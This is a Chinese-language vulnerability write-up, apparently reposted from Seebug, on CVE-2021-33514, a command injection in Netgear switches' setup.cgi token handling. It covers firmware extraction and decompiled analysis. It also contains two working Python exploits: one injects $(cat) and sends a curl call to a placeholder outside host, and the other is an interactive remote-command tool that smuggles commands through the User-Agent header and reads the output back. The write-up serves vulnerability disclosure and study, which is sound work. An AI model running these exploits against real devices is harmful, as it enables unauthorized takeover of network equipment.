时间:2021年7月21日
漏洞信息
sal_sys_ssoReturnToken_chk
存在命令注入,这个函数用于处理url中的tocken
字段,直接将tocken
传递到格式化字符串中,然后调用popen
执行。后端处理setup.cgi加载了该so文件,并且在处理url的时候调用了该存在漏洞的函数。漏洞利用起来也非常简单,直接给cgi发送构造了命令的请求就可以。
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
漏洞复现
import requests
vul_url = 'https://X.X.X.X/cgi/setup.cgi?token=';$(cat);''
payload = 'curl X.X.X.X.X:8080'
try:
res = requests.post(url=vul_url, data=payload, verify=False, timeout=10)
print('[!] should not return any thing')
except:
print('[+] success!')
漏洞分析
固件提取
binwalk -Me
一把梭,然后使用find就会发现,找不到存在漏洞的so文件也找不到存在调用so的cgi程序。仔细看解压出来可能的文件系统文件夹里面,其实还有modsqfs.img和sqfs.img两个文件,这还得binwalk继续梭了这两个文件,才能有得到存在漏洞的so和cgi。静态分析
libsal.so
里面存在漏洞的函数sal_sys_ssoReturnToken_chk
,下面是直接贴出来IDA反编译结果,可以看到直接将函数输入a1
,格式化字符串到v25
中,然后调用popen
执行了v25
。setup.cgi
中是如何调用这个函数的,这个地方注意,C语言的或逻辑是,如果前面的判定通过了,后续就不进行判定。第一个判定是检查query_string
中是否含有tocken
字符串,当我们构造了payload那么判定会失败,则继续执行后面使用逗号连接的C语句,调用漏洞函数。strtok
函数用于使用特定字符分割字符串,详情使用可以参考函数说明,最终就把tocken
字段的值赋值给v9
。关于CGI以及此处payload的写法
-
CGI如何处理用户请求
QUERY_STRING
,如果是POST请求,可能先从CONTENT_LENGTH
获取数据长度,然后从STDIN
中读取指定长度的数据。但对于cgi程序是如何执行的,与httpd之间的关系是什么,还是有点迷糊。于是找了一些文章大概看了下。http_cgi_headers
是用来传递给CGI程序的一些环境变量的。CONTENT_LENGTH
环境变量说明POST数据的有效数据字节数,然后CGI通过传递的这个环境变量,从标准输入STDIN
中去读取数据。在POC里面,首先token字段值会被注入,然后$(cat)
从从标准输入中去读取数据,而此时POST的数据也被传递到了标准输入中,那么就相当于直接执行了POST发出的数据。-
payload的另一种写法
User-Agent
环境变量,也是经常被使用到的一种方式。其次是决定通过何种方式进行回显,此处是将执行结果写入到/webtmp/
文件夹的一个js文件中。由于/webtmp/
文件夹和/tmp/
是链接起来(固件文件系统中查看)的,因此写入到/webtmp/
文件夹,然后使用URL访问/tmp/
中的js文件即可。from requests.api import head
import requests
import random
import string
requests.packages.urllib3.disable_warnings()
proxy = {
}
letters = string.ascii_letters
vul_addr = 'https://X.X.X.X'
vul_url = vul_addr + '/cgi/setup.cgi?token=';$HTTP_USER_AGENT;''
random_str = ''.join(random.choice(letters) for i in range(10))
cmd1 = input('InputCMD: ').replace(' ', '${IFS}')
cmd2 = f'rm /tmp/{random_str}.js'.replace(' ', '${IFS}')
payload1 = f'sh -c {cmd1}>/webtmp/{random_str}.js'
payload2 = f'sh -c {cmd2}'
header = {}
try:
header['User-Agent'] = payload1 # 注入命令并将结果写入到js文件
res = requests.get(vul_url, headers=header, verify=False,
timeout=5, allow_redirects=False, proxies=proxy)
if res.status_code == 200:
print('[+] command send success')
result_file = vul_addr + f'/tmp/{random_str}.js'
result = requests.get(result_file, timeout=5,
verify=False, allow_redirects=False, proxies=proxy) # 读取结果js文件
print('[+] get result')
print(result.text)
print('[+] rm tmp result file')
header['User-Agent'] = payload2
res = requests.get(vul_url, headers=header, verify=False,
timeout=5, allow_redirects=False, proxies=proxy) # 删除结果js文件
except Exception as e:
print(e)
小 结
使用ZoomEye和Pocsuite3
漏洞影响面
verify模式
attack模式
参考链接:
https://www.cnblogs.com/liuzhang/p/3929198.html
往 期 热 门
(点击图片跳转)
赠书 |《404 Paper 精粹》第一期发布啦!
利用 Pocsuite3 框架编写 poc 实战案例
CVE-2021-35973:Netgear wac104 身份认证绕过
本文始发于微信公众号(Seebug漏洞平台):CVE-2021-33514:Netgear 多款交换机命令注入漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论